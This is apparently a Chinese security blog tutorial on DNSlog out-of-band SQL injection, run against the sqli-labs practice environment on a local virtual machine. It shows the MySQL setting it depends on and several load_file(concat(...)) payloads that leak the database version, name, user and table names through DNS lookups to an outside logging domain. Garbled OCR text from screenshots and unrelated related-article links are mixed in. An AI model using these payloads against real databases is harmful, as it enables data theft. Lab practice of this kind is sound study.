更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

能够利用dnslog进行注入的两个关键点:secure_file_priv 不能为NULL,仅支持 Windows但不支持 Linux

show variables like '%secure%';查看load_file()可以读取的磁盘。

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

为了达到实验目的,在本地虚拟机环境进行调试。

mysql配置文件进行如下改动

my.ini 设置为secure_file_priv=空  然后重启 进入数据库验证 show variables like '%secure%'

这里使用sqlilabs的环境,如下图基本时间盲注判断

计算机生成了可选文字:<br />
Request<br />
ParamsHeadersHex<br />
GET/sqlilabs/Less-S/?id=1%27%20AND%20SLEEP(S〕%20一一+HITP<br />
Host:192.15&35.132<br />
Upgrade-Insecure-Requests:1<br />
User-Agent:Mozi巧.0OuVindowsNT100AOA54<br />
14.0<br />
Response<br />
HeadersHexHTMLRender<br />
HITP/I.1200OK<br />
Date:Fri,01Nov201908:10℃5GMT<br />
Server:Apache/2.4.230in32〕OpenSSL/1.0.2jPHP/5」」5<br />
X-Powered-8y:PHP/5」」5<br />
Content-Length:720<br />
Connection.Close<br />
Content-Type:text/html<br />
<!DOCTYPEhtmlPUBLIC.一//':.BC,夕D丆DX1Transitional//EN"<br />
AppleWebKit/S37.36(KHTML,likeGecko〕Chrome/6S.0.<br />
Safar丿537.35SE2MetaSr1.<br />
Accept:<br />
e/apng,*/*,q=0.8<br />
Accept-Language:Zh-<br />
Connection.Close<br />
n巳<br />
text/html,application/xhtml+xml,application/xml,q=0.9,image/webp,imag<br />
CN,zh;q=0.9<br />
Typeasearchrm<br />
0matches<br />
"http://mvw.w3.org/TR/xhtm11/DTD/xhtm11-transitionaLdtd"><br />
<htmlxmlns="http://www.w3.org/1999/×htm"><br />
<head><br />
<metahttp-equiv="Content-Type"c0ntent="text/html;<br />
charset=utf-8"/><br />
<title>Less-5DoubleQuery-SingleQuotes-String</title><br />
</head><br />
<bodybgcolor=引#000000引><br />
<divstye=margin-top:60px;color.#FFF•font-size:23px;<br />
text-align:center">Wclcomc&nbsp;&nbsp;&nbsp;<font<br />
color=<br />
"#FF0000引>Dhakkan</font><br><br />
<fontS=<br />
3引color:"#FFFFOO"><br />
<fontSize:<br />
骂"color:"#FFFFOO"></br></font><fontcolor:<br />
"#0000ff"fontsi7P=3><br />
Typeasearchrm<br />
matches<br />
924bytes《5,022millis

查询数据库版本' union select load_file(concat('\\\\',version(),'.XXX\\aaa')),2,3%23

回到dnslog查看,成功返回数据库版本信息

查询数据库名' union select load_file(concat('\\\\',database(),'.t00ls.XXX.tu4.org\\aaa')),2,3%23

查询当前用户@符号在查询时要使用hex函数进行16进制编码' union select load_file(concat('\\\\',(select hex(user())),'.t00ls.XXX.tu4.org\\abc')),2,3%23

返回结果为编码后的

726F6F74406C6F63616C686F7374进行解码

计算机生成了可选文字:<br />
Hex编码/解码<br />
在下面的文本框内输入需要处理的内容<br />
囗带%亻寸号<br />
root@localhost<br />
UTF-8<br />
GB2312<br />
编码<br />
解码

查询数据库表名

' union select load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema='security'),'.t00ls.XXX.tu4.org\\aaaa')),2,3%23

一样这里用的group_caoncat函数也是需要转码的656D61696C732C72656665726572732C756167656E74732C7573657273解码后如下

计算机生成了可选文字:<br />
0<br />
https://www.<br />
107000.com/T一He×/<br />
Hex编码/解码<br />
回.'回<br />
在下面的文本框内输入需要处理的内容<br />
囗带%亻寸号<br />
emails,referers,uagents,users<br />
UTF-8<br />
GB2312<br />
编码<br />
解码

我这里演示用的是吐司的dnslog,同样别的平台也是可以的,推荐几个平台:http://www.dnslog.cn/、http://ceye.io/

更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇。

利用dnslog进行sql注入的更多相关文章

  1. 利用DNS实现SQL注入带外查询(OOB)

    根据用于数据检索的传输信道,SQLi可分为三个独立的类别:inference(经典SQL注入),inband(盲注.推理注入.带内注入)和out-of-band 一.什么是OOB out-of-ban ...

  2. 利用PreparedStatement预防SQL注入

    1.什么是sql注入 SQL 注入是用户利用某些系统没有对输入数据进行充分的检查,从而进行恶意破坏的行为. 例如登录用户名采用  ' or 1=1 or username=‘,后台数据查询语句就变成 ...

  3. Web安全测试学习笔记-SQL注入-利用concat和updatexml函数

    mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...

  4. 一篇文章带你了解SQL注入

    什么是SQL注入? 原理: Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令 危害: 注入可能导致数据丢失泄露或数据破坏.缺乏可审计性,有时甚至能导致完全接管 ...

  5. c# 登录 防止sql注入 mysql数据库

    利用参数化 防止SQL注入 public string serachName(string name) { string result = ""; try { conn.Open( ...

  6. 转:攻击JavaWeb应用[4]-SQL注入[2]

    转:http://static.hx99.net/static/drops/tips-288.html 攻击JavaWeb应用[4]-SQL注入[2] 园长 · 2013/07/18 17:23 注: ...

  7. 如何通过SQL注入获取服务器本地文件

    写在前面的话 SQL注入可以称得上是最臭名昭著的安全漏洞了,而SQL注入漏洞也已经给整个网络世界造成了巨大的破坏.针对SQL漏洞,研究人员也已经开发出了多种不同的利用技术来实施攻击,包括非法访问存储在 ...

  8. sql注入攻防 以php+mysql为例

    随着Web应用的高速发展和技术的不断成熟,对Web开发相关职位的需求量也越来越大,越来越多的人加入了Web开发的行列.但是由于程序员的水平参差不齐或是安全意识太低,很多程序员在编写代码时仅考虑了功能上 ...

  9. 初探SQL注入需要知道的5个问题

    SQL注入产生原理 可控变量(注入点,就是传参) 带入数据库查询 变量未存在过滤或过滤不严谨 例子: 获取admin表的pass里面的数据 select * from users where id=1 ...

随机推荐

  1. golang(一)

    开篇先来个Go语言的吉祥物-金花鼠Gordon. golang是谷歌2009年发布的开源编程语言,截止目前go的release版本已经到了1.10.go语言的开发人员都是计算机界大神一般的存在: Th ...

  2. Spring整合Hibernate的两种方式

    在使用spring注解整合hibernate时出现"org.hibernate.MappingException: Unknown entity: com.ssh.entry.Product ...

  3. 详解java动态代理机制以及使用场景

    详解java动态代理机制以及使用场景 https://blog.csdn.net/u011784767/article/details/78281384 深入理解java动态代理的实现机制 https ...

  4. JAVA8的java.util.function包

    一 概述 name type description Consumer Consumer< T > 接收T对象,不返回值 Predicate Predicate< T > 接收 ...

  5. Ambari深入学习(III)-开源使用及其改进思考

    Ambari采用的不是一个新的思想和架构,也不是完成了软件的新的革命,而是充分利用了一些已有的优秀开源软件,巧妙地把它们结合起来,使其在分布式环境中做到了集群式服务管理能力.监控能力.展示能力.这些优 ...

  6. git恢复已删的分支

    git恢复已经删除的分支 执行git命令, 找回之前提交的commit git log -g 执行效果 commit 80fd3a3e1abeab52030ee9f6ec32b5c815de20a9 ...

  7. 面试总结之Data Science

    数据科学家面试如何准备? https://mp.weixin.qq.com/s/uFJ58az8WRyaXT2nibK02g 2020 年算法 / 数据分析面试数学考点梳理 https://mp.we ...

  8. PDF 补丁丁 0.6.2.3572 测试版发布

    近日有网友反馈 3571 测试版的补丁丁无法正常工作.请下载新发布的 3572 版本.

  9. reboot 示例代码

    #include <stdio.h> #define LINUX_REBOOT_CMD_RESTART 0x01234567 int main() { reboot(LINUX_REBOO ...

  10. Linux操作系统的进程管理

    Linux操作系统的进程管理 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.进程相关概念 1>.进程概述 内核的功用: 进程管理.文件系统.网络功能.内存管理.驱动程序. ...